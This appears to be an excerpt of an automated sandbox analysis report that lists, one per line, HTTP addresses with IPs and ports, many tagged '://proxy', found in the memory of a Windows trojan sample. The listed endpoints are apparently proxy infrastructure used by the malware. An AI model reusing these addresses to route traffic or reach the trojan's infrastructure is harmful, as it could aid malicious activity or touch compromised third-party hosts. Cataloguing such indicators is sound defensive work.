Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.93:25873
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.93:25873://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.94:24271
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.94:24271://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.94:2597
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.94:2597://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:10121
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:10121://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:10801
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:10801://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:12529
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:12529://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13005
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13005://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1707
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1707://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1731
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1731://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:19771
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:19771://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:20325
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:20325://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:23213
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:23213://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:2481
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:2481://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:25639://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:25639HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:25757
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:25757://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:25823
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:25823://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:26193
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:26193://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:29053
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:29053://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:29075
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:29075://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:30389
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:30389://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:31831
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:31831://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:31871
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:31871://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:3251
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:3251://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:32823
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:32823://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5901
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5901://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:8521
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:8521://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.128.133.154:16099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.128.133.154:16099://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.208:28249
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.208:28249://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.208:7145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.208:7145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.46:13046
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.46:13046://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.46:41773
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.46:41773://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:3824
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:3824://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:53672
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:53672://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:60404
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:60404://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.222.102:52549
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.222.102:52549://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.55.195:28426
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.55.195:28426://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.8.5:44774
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.8.5:44774://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C778C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.101.99:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.101.99:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.169:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.169:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.169:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.184:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.184:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.35:27360
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.35:27360://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.41:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.41:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.42:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.42:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.58:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.58:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.59:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.59:4145://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.60:27391
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.60:27391://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.105:64935
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.105:64935://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.123:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.123:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.97:64943
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.97:64943://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.208.101:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.208.101:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.197:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.197:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA740000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.223:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.223:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.223:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.134:46164
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.134:46164://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.137:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.137:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.217.158.202:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.217.158.202:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.37.216.68:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.37.216.68:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC4B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.37.217.3:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.37.217.3:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.52.217.188
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.52.217.188://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.52.217.188:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://73.210.245.19
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C904F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://73.210.245.19://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://73.210.245.19:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.103.66.15
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.103.66.15://proxyp
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.103.66.15:80
